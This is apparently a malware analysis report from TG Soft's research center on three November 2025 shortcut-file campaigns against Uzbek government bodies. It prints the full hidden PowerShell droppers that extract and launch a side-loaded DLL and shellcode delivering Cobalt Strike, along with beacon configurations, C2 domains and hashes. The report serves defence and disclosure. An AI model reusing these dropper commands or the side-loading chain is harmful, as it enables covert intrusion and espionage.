

News - Malware & Hoax

tgsoft.it/news/news_archivio.asp

TG Soft S.r.l. - <https://www.tgsoft.it>



In November, **TG Soft's Anti-Malware Research Center** (C.R.A.M) identified a cyber-espionage campaign targeting government agencies in **Uzbekistan**.

Since the initial campaign identified on November 12, two other campaigns have been found that can be associated with the same threat actor. Campaign list:

- November 11, 2025: **Report_BNB-196010_16_K13-2179_04_11_2025**
- November 12, 2025: **ПисьмоМВД** -> *"Letter from the Ministry of Internal Affairs"*
- November 13, 2025: **E_PaymentAPIsV5**

November 12th Campaign ПисьмоМВД -> "Letter from the Ministry of Internal Affairs"

This was the first campaign analyzed, which uses a shortcut file (.LNK) to deliver the threat.

File name	ПисьмоМВД.pdf.lnk
File size	1413555 byte
HASH SHA-256	166e777cb72a7c4e126f8ed97e0a82e7ca9e87df7793fea811daf34e1e7e47a6

The link runs a Powershell script to extract a series of files: `%windir%\system32\cmd.exe /c pow%comspec:~-1%rshell -windowstyle hidden -c "$lnkpath = (Get-ChildItem -Filter *.lnk | Where-Object {$_.Length -eq 1413555} | Select-Object -First 1).FullName; $file = [System.IO.File]::ReadAllBytes($lnkpath); Set-Variable -Name directory -Value $env:TEMP; Set-Variable -Name file1Data -Value $file[4184..663602]; Set-Variable -Name path1 -Value '$±$Ú$ã$î$Þ$à$@$$£$¥.pdf'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path1), $file1Data); Set-Variable -Name file2Data -Value $file[663603..823554]; Set-Variable -Name path2 -Value 'GameHook.exe'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path2), $file2Data);`

```
Set-Variable -Name file3Data -Value $file[823555..1032962]; Set-Variable -Name path3 -Value
'graphics-hook-filter64.dll'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path3),
$file3Data); Set-Variable -Name file4Data -Value $file[1032963..1413554]; Set-Variable -Name
path4 -Value 'simhei.dat'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path4),
$file4Data); ii (Join-Path $directory $path1); ii (Join-Path $directory $path2); "
```

The Powershell script extracts 4 files to the user's temporary folder which are appended in the shortcut file **ПисьмоМВД.pdf.lnk**:

- **GameHook.exe**
- **graphics-hook-filter64.dll**
- **simhei.dat**
- **§±§Ú§ã§i§§à§®§£§¥.pdf**

At first glance it might look like the *PlugX* malware. The script finally executes the **GameHook.exe** file and displays on the screen the decoy contained within the file **§±§Ú§ã§i§§à§®§£§¥.pdf**, which we see below:



Адрес: Республика Узбекистан, г. Ташкент, ул. Ш. Руставели, дом 53В

The document is a response addressed by the Uzbek cybersecurity company ONESEC to:

- MINISTRY OF INTERNAL AFFAIRS OF THE REPUBLIC OF UZBEKISTAN

- DEPARTMENT OF LEGAL STATISTICS FOR DIGITAL TECHNOLOGIES
- DEPARTMENT OF INFORMATION SECURITY AND DIGITAL INFRASTRUCTURES

and discusses salaries related to cybersecurity operators (SOC engineers, internal auditors (pentesters), network workers and specialized technicians). Interestingly, the document is dated November 11, 2025, one day before the November 12 campaign.

Payload analysis

The Powershell script, after displaying the decoy, runs the **GameHook.exe** file.

The **GameHook.exe** program is a legitimate file of the "Screen recorder GameHook" software from the company *iTop Inc.* digitally signed by "ORANGE VIEW LIMITED", which loads the malicious library **graphics-hook-filter64.dll**. The threat actor exploited the *DLL Side Loading* technique to execute its threat through the legitimate **GameHook.exe** program. The malicious DLL **graphics-hook-filter64.dll** once loaded, reads the following files with the **.DAT** extension:

- simhei.dat
- pala.dat

In this campaign, only the **simhei.dat** file was distributed, which was extracted from the initial PowerShell script. The **graphics-hook-filter64.dll** library then decrypts the **simhei.dat** file and obtains a 64-bit shellcode that executes in memory. The shellcode is itself encrypted with multiple layers: each layer extracts the next step, decrypting it with an **xor** operation and verifying via the *cpuid* assembly instruction that the execution is occurring on a machine with the "**VMwareVMware**" identifier. Otherwise, the shellcode enters "sleep" mode.

This identifier is obtained only on virtual machines running through the VMware hypervisor, significantly narrowing the threat actor's target. After several layers of decryption, the final payload is obtained, which is the **Cobalt Strike** beacon.

Below is the **Cobalt Strike** beacon configuration dump:

```

5 6420: 00 00 00 08 00 03 01 00 77 77 77 2E 77 69 6B 69 .....www.wiki
5 6430: 70 65 64 6C 61 2E 62 6C 6F 67 2C 2F 65 6E 2D 75 pedla.blog,/en-u
5 6440: 73 2F 61 6E 73 77 65 72 73 00 00 00 00 00 00 00 s/answers.....
5 6450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6490: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 64A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 64B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 64C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 64D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 64E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 64F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6520: 00 00 00 00 00 00 00 00 00 43 00 01 00 02 00 00 .....C.....
5 6530: 00 44 00 02 00 04 FF FF FF FF 00 45 00 02 00 04 .D.....E....
5 6540: FF FF FF FF 00 46 00 02 00 04 FF FF FF FF 00 0E .....F.....
5 6550: 00 03 00 10 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 6560: 00 00 00 00 00 1D 00 03 00 40 25 77 69 6E 64 69 .....@%windi
5 6570: 72 25 5C 73 79 73 77 6F 77 36 34 5C 77 6F 77 72 r%\syswow64\wowr
5 6580: 65 67 33 32 2E 65 78 65 20 2F 66 00 00 00 00 00 eg32.exe /f.....
5 6590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 65A0: 00 00 00 00 00 00 00 00 00 00 00 1E 00 03 00 40 .....@
5 65B0: 25 77 69 6E 64 69 72 25 5C 73 79 73 6E 61 74 69 %windir%\sysnati
5 65C0: 76 65 5C 77 62 65 6D 5C 77 6D 69 70 72 76 73 65 ve\wbem\wmiprvse
5 65D0: 2E 65 78 65 20 2D 45 6D 62 65 64 64 69 6E 67 00 .exe -Embedding.
5 65E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
5 65F0: 00 1F 00 01 00 02 00 00 00 1A 00 03 00 10 47 45 .....GE
5 6600: 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1B T.....
5 6610: 00 03 00 10 50 4F 53 54 00 00 00 00 00 00 00 00 ....POST.....
5 6620: 00 00 00 00 00 1C 00 02 00 04 00 00 00 00 00 25 .....%
5 6630: 00 02 00 04 3A DE 68 B1 00 24 00 03 00 20 4E 74 ....:h..$.Nt
5 6640: 5A 4F 56 36 4A 7A 44 72 39 51 6B 45 6E 58 36 62 ZOV6JzDr9QkEnX6b
5 6650: 6F 62 50 67 3D 3D 00 00 00 00 00 00 00 00 26 obPg==.....&
5 6660: 00 01 00 02 00 01 00 27 00 01 00 02 00 00 00 4C .....L
5 6670: 00 02 00 04 00 00 00 10 00 47 00 02 00 04 00 00 .....G.....
5 6680: 00 00 00 48 00 02 00 04 00 00 00 00 00 49 00 02 ...H.....I..
5 6690: 00 04 00 00 00 00 00 09 00 03 01 00 57 69 6E 64 .....Wind
5 66A0: 6F 77 73 2D 55 70 64 61 74 65 2D 41 67 65 6E 74 ows-Update-Agent
5 66B0: 2F 31 30 2E 30 2E 31 38 32 31 2E 31 36 33 38 34 /10.0.1821.16384
5 66C0: 20 43 6C 69 65 6E 74 2D 50 72 6F 74 6F 63 6F 6C Client-Protocol
5 66D0: 2F 32 2E 30 00 00 00 00 00 00 00 00 00 00 00 00 /2.0.....

```

From the dump you can see the C2 of the beacon and the watermark with its relative hash:

- C2: **www.wikipedia.blog/en-us/answers**
- Watermark: **987654321**
- Watermark Hash: **NtZOV6JzDr9QkEnX6bobPg==**
- DLL Name: **winhttpbtest.dll**

At the time of writing this article, the domain "**www.wikipedia.blog**" used as C2 of **Cobalt Strike**, is not identified as malicious by any engine on VirusTotal:

Community Score

No security vendors flagged this domain as malicious

www.wikipedla.blog

wikipedla.blog

Creation Date
1 month ago

Last Analysis Date
a moment ago

Reanalyze

More

The domain **"www.wikipedla.blog"** was created on October 24, 2025. Below is an example of communication with the command and control server:

- URL: `https://www.wikipedla.blog/en-us/questions?apikey=<REDACTED>`
- Parameters: `{"version": "v2",{"orders": "<REDACTED>","id": "<REDACTED>","api": "v2",{"name": "joe",<REDACTED>"}`

Campaign of November 13th E_PaymentAPIsV5

The November 13 campaign is very similar to the one identified the previous day, this one also uses a shortcut file (.LNK) to deliver the threat.

File name	E_PaymentAPIsV5.pdf.lnk
File size	1128622 byte
HASH SHA-256	51684a0e356513486489986f5832c948107ff687c8501d64846cdc4307429413

The link runs a Powershell script to extract a series of files: `%windir%\system32\cmd.exe /c pow%comspec:~-1%rshell -windowstyle hidden -c "$lnkpath = (Get-ChildItem -Filter *.lnk | Where-Object {$_.Length -eq 1128622} | Select-Object -First 1).FullName; $file = [System.IO.File]::ReadAllBytes($lnkpath); Set-Variable -Name directory -Value $env:TEMP; Set-Variable -Name file1Data -Value $file[4478..4477]; Set-Variable -Name path1 -Value 'E_PaymentAPIsV5.pdf'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path1), $file1Data); Set-Variable -Name file2Data -Value $file[4478..164429]; Set-Variable -Name path2 -Value 'GameHook.exe'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path2), $file2Data); Set-Variable -Name file3Data -Value $file[164430..373837]; Set-Variable -Name path3 -Value 'graphics-hook-filter64.dll'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path3), $file3Data); Set-Variable -Name file4Data -Value $file[373838..748029]; Set-Variable -Name path4 -Value 'pala.dat'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path4), $file4Data); Set-Variable -Name file5Data -Value $file[748030..1128621]; Set-Variable -Name path5 -Value 'simhei.dat'; [System.IO.File]::WriteAllBytes((Join-Path $directory $path5), $file5Data); ii (Join-Path $directory $path1); ii (Join-Path $directory $path2); "`

The Powershell script extracts 5 files to the user's temporary folder that are appended to the shortcut file **E_PaymentAPIsV5.pdf.lnk**:

- **GameHook.exe**
- **graphics-hook-filter64.dll**
- **pala.dat**
- **simhei.dat**
- **E_PaymentAPIsV5.pdf**

Compared to the November 12 campaign, the extracted files in this case are 5, with the addition of the DAT file called "PALA.DAT".

Unfortunately, or intentionally, the decoy for this campaign is corrupted. The "decoy" file, which should have been named "E_PaymentAPIsV5.pdf," is only 2 bytes long. The decoy has two errors: one in the script code and the other in the missing PDF document within the link file. The script as in the previous campaign runs the **GameHook.exe** file and tries to display the corrupted decoy inside the file **E_PaymentAPIsV5.pdf**. The **GameHook.exe** program is a legitimate file of the "Screen recorder GameHook" software from the company *iTop Inc.* digitally signed by "ORANGE VIEW LIMITED", which loads the malicious library **graphics-hook-filter64.dll**. The threat actor exploited the *DLL Side Loading* technique to execute its threat through the legitimate **GameHook.exe** program. The malicious DLL **graphics-hook-filter64.dll** once loaded, reads the following files with the **.DAT** extension:

- **simhei.dat**
- **pala.dat**

This campaign contains both DAT files, which are decrypted into two 64-bit shellcodes that execute in memory. The two shellcodes are themselves encrypted with multiple layers: each layer extracts the next step, decrypting it with an **xor** operation and verifying via the **cpuid** assembly instruction that the execution is taking place on a machine with the "**VMwareVMware**" identifier. Otherwise, the shellcodes enter "sleep" mode.

This identifier is obtained only on virtual machines running through the VMware hypervisor, significantly narrowing the threat actor's target. After several layers of decryption, the two shellcodes yield two final payloads, both containing the **Cobalt Strike** beacon (two is better than one).

Below are the configuration dumps of the two **Cobalt Strike** beacons:

Beacon configuration obtained from the file **simhei.dat**

5 6420:	00 00 00 08	00 03 01 00	77 77 77 2E	77 69 6B 69	www.wiki
5 6430:	70 65 64 6C	61 2E 62 6C	6F 67 2C 2F	65 6E 2D 75	pedla.blog,/en-u
5 6440:	73 2F 61 6E	73 77 65 72	73 00 00 00	00 00 00 00	s/answers.....
5 6450:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 6460:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 6470:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 6480:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 6490:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 64A0:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 64B0:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 64C0:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 64D0:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 64E0:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 64F0:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 6500:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 6510:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 6520:	00 00 00 00	00 00 00 00	00 43 00 01	00 02 00 00	C.....
5 6530:	00 44 00 02	00 04 FF FF	FF FF 00 45	00 02 00 04	.D.....E....
5 6540:	FF FF FF FF	00 46 00 02	00 04 FF FF	FF FF 00 0E	F.....
5 6550:	00 03 00 10	00 00 00 00	00 00 00 00	00 00 00 00	
5 6560:	00 00 00 00	00 1D 00 03	00 40 25 77	69 6E 64 69	@%windi
5 6570:	72 25 5C 73	79 73 77 6F	77 36 34 5C	77 6F 77 72	r%\syswow64\wowr
5 6580:	65 67 33 32	2E 65 78 65	20 2F 66 00	00 00 00 00	eg32.exe /f.....
5 6590:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 65A0:	00 00 00 00	00 00 00 00	00 00 00 1E	00 03 00 40	@
5 65B0:	25 77 69 6E	64 69 72 25	5C 73 79 73	6E 61 74 69	%windir%\sysnati
5 65C0:	76 65 5C 77	62 65 6D 5C	77 6D 69 70	72 76 73 65	ve\wbem\wmiprvse
5 65D0:	2E 65 78 65	20 2D 45 6D	62 65 64 64	69 6E 67 00	.exe -Embedding.
5 65E0:	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	
5 65F0:	00 1F 00 01	00 02 00 00	00 1A 00 03	00 10 47 45	GE
5 6600:	54 00 00 00	00 00 00 00	00 00 00 00	00 00 00 1B	T.....
5 6610:	00 03 00 10	50 4F 53 54	00 00 00 00	00 00 00 00	POST.....
5 6620:	00 00 00 00	00 1C 00 02	00 04 00 00	00 00 00 25	%
5 6630:	00 02 00 04	3A DE 68 B1	00 24 00 03	00 20 4E 74	:..h..\$. Nt
5 6640:	5A 4F 56 36	4A 7A 44 72	39 51 6B 45	6E 58 36 62	Z0V6JzDr9QkEnX6b
5 6650:	6F 62 50 67	3D 3D 00 00	00 00 00 00	00 00 00 26	obPg==.....&
5 6660:	00 01 00 02	00 01 00 27	00 01 00 02	00 00 00 4C	'.....L
5 6670:	00 02 00 04	00 00 00 10	00 47 00 02	00 04 00 00	G.....
5 6680:	00 00 00 48	00 02 00 04	00 00 00 00	00 49 00 02	...H.....I..
5 6690:	00 04 00 00	00 00 00 09	00 03 01 00	57 69 6E 64	Wind
5 66A0:	6F 77 73 2D	55 70 64 61	74 65 2D 41	67 65 6E 74	ows-Update-Agent
5 66B0:	2F 31 30 2E	30 2E 31 38	32 31 2E 31	36 33 38 34	/10.0.1821.16384
5 66C0:	20 43 6C 69	65 6E 74 2D	50 72 6F 74	6F 63 6F 6C	Client-Protocol
5 66D0:	2F 32 2E 30	00 00 00 00	00 00 00 00	00 00 00 00	/2.0.....

Beacon configuration obtained from the file **pala.dat**

The beacon configuration contained in SIMHEI.DAT is the same as the one in the November 12 campaign, while the beacon configuration contained in the PALA.DAT file contains two C2 servers.:

- cloud.wikipedia.blog
- en.wikipedia.blog

Name of the DLL contained in SIMHEI.DAT: winhttpbtest.dll

November 11th Campaign Report_BNB-196010_16_K13-2179_04_11_2025

The November 11 campaign is very similar to the one identified in the following two days, this one also uses a shortcut file (.LNK) to deliver the threat.

File name	Report_BNB-196010_16_K13-2179_04_11_2025.lnk
File size	2008787 byte
HASH SHA-256	948468aba5c851952ebe56a5bf37904ed83a6c8cb520304db6938d79892f0a1b

The link runs a Powershell script to extract a series of files: %ComSpec% /c pow%comspec:~\1%rshell -windowstyle hidden -c "\$lnkpath = (Get-ChildItem -Path ., \$env:TEMP -Filter *.lnk -File -Recurse -ErrorAction SilentlyContinue |Where-Object { \$_.Length -ge 2008787 } |Select-Object -First 1).FullName; \$file = [System.IO.File]::ReadAllBytes(\$lnkpath); \$directory = \"\$env:TMP\\\"; Set-Variable -Name file1Data -Value \$file[4686..1065730]; Set-Variable -Name path1 -Value 'Report_BNB-196010_16_K13-2179_04_11_2025.xlsx'; [System.IO.File]::WriteAllBytes((\$directory+\$path1), \$file1Data); Set-Variable -Name file2Data -Value \$file[1065731..1225682]; Set-Variable -Name path2 -Value 'GameHook.exe'; [System.IO.File]::WriteAllBytes((\$directory+\$path2), \$file2Data); Set-Variable -Name file3Data -Value \$file[1225683..1406418]; Set-Variable -Name path3 -Value 'graphics-hook-filter64.dll'; [System.IO.File]::WriteAllBytes((\$directory+\$path3), \$file3Data); Set-Variable -Name file4Data -Value \$file[1406419..1706434]; Set-Variable -Name path4 -Value 'FRAMDCN.dat'; [System.IO.File]::WriteAllBytes((\$directory+\$path4), \$file4Data); Set-Variable -Name file5Data -Value \$file[1706435..2008786]; Set-Variable -Name path5 -Value 'cours.dat'; [System.IO.File]::WriteAllBytes((\$directory+\$path5), \$file5Data); ii((\$directory+\$path1));ii((\$directory+\$path2)); "

The Powershell script extracts 5 files to the user's temporary folder that are appended to the shortcut file **Report_BNB-196010_16_K13-2179_04_11_2025.lnk**:

- **GameHook.exe**
- **graphics-hook-filter64.dll**
- **cours.dat**
- **FRAMDCN.dat**
- **Report_BNB-196010_16_K13-2179_04_11_2025.xlsx**

Again, as in the November 13 campaign, 5 files were extracted.

In this campaign the decoy is an Excel file called "**Report_BNB-196010_16_K13-2179_04_11_2025.xlsx**". The script, as in the campaigns analyzed previously, runs the

GameHook.exe file and tries to display the decoy inside the **Report_BNB-196010_16_K13-2179_04_11_2025.xlsx** file that we see below:

The Excel document contains a report on the financial information of an Uzbek user. The document also contains a scan of the passport, which we have blurred below for privacy reasons:

Interestingly, the Excel report document is dated November 4, 2025, and the strange coincidence with Uzbekistan. The **GameHook.exe** program is a legitimate file of the "Screen recorder *GameHook*" software from the company *iTop Inc.* digitally signed by "ORANGE VIEW LIMITED", which loads the malicious library **graphics-hook-filter64.dll**. The threat actor exploited the *DLL Side Loading* technique to execute its threat through the legitimate **GameHook.exe** program. The malicious DLL **graphics-hook-filter64.dll** once loaded, reads the following files with the **.DAT** extension:

- coure.dat
- FRAMDCN.dat

This campaign contains two files with the DAT extension, which are decrypted to obtain two 64-bit shellcodes that are executed in memory. The two shellcodes are in turn encrypted with an **xor** operation and do not perform the machine identifier verification. After decryption, the two shellcodes yield two final payloads, both containing the **Cobalt Strike** beacon (again, two is better than one). Below are the configuration dumps of the two **Cobalt Strike** beacons.:

Beacon configuration obtained from the file **coure.dat**

Beacon configuration obtained from the file **FRAMDCN.dat**

The beacon setup for this campaign is slightly different than the other two.

	coure.dat	FRAMDCN.dat
C2	webmail.revitpourtous.com mail.revitpourtous.com	www.revitpourtous.com
Watermark	20000	20000
Watermark Hash	hBejkyHGidpJgTcy0Zs6UQ==	hBejkyHGidpJgTcy0Zs6UQ==
DLL name		beacontest.dll

Attribution

Although it is not easily attributable to a specific subject with direct evidence, there are some elements that can be considered:

- Cobalt Strike beacon operating hours
- domain registration provider

The time at which the Cobalt Strike beacon showed discovery activity in the analysis machines is consistent with Chinese business hours, and the domain revitpourtous.com has recently been maintained by a Chinese provider. These elements point towards a threat actor of Chinese nationality.

Conclusions

The three campaigns were released in a very short period of time and appear to be targeting a highly specific audience.

In two of the three campaigns, the infection is only completed if the machine has a specific CPU ID related to VMware.

The decoys used are classified and extremely recent documents:

- decoy dated November 11 -> November 12 campaign
- decoy dated November 4 -> November 11 campaign

leading to the hypothesis that the threat actor already has control of some systems from which it has already exfiltrated data.

The target appears to be government entities in Uzbekistan. We contacted the authors of the two documents used as decoys, but received no response.

IOC

Files SHA-256 hash

166e777cb72a7c4e126f8ed97e0a82e7ca9e87df7793fea811daf34e1e7e47a6
51684a0e356513486489986f5832c948107ff687c8501d64846cdc4307429413
948468aba5c851952ebe56a5bf37904ed83a6c8cb520304db6938d79892f0a1b

C2 domains

www.wikipedla.blog
cloud.wikipedla.blog
en.wikipedla.blog

webmail.revitpourtous.com

mail.revitpourtous.com

www.revitpourtous.com

Any information published on our site may be used and published on other websites, blogs, forums, facebook and/or in any other form both in paper and electronic form as long as the source is always and in any case cited explicitly "Source: CRAM by TG Soft www.tgsoft.it" with a clickable link to the original information and / or web page from which textual content, ideas and / or images have been extrapolated.

It will be appreciated in case of use of the information of C.R.A.M. by TG Soft www.tgsoft.it in the report of summary articles the following acknowledgment/thanks "Thanks to Anti-Malware Research Center C.R.A.M. by TG Soft of which we point out the direct link to the original information: [direct clickable link]"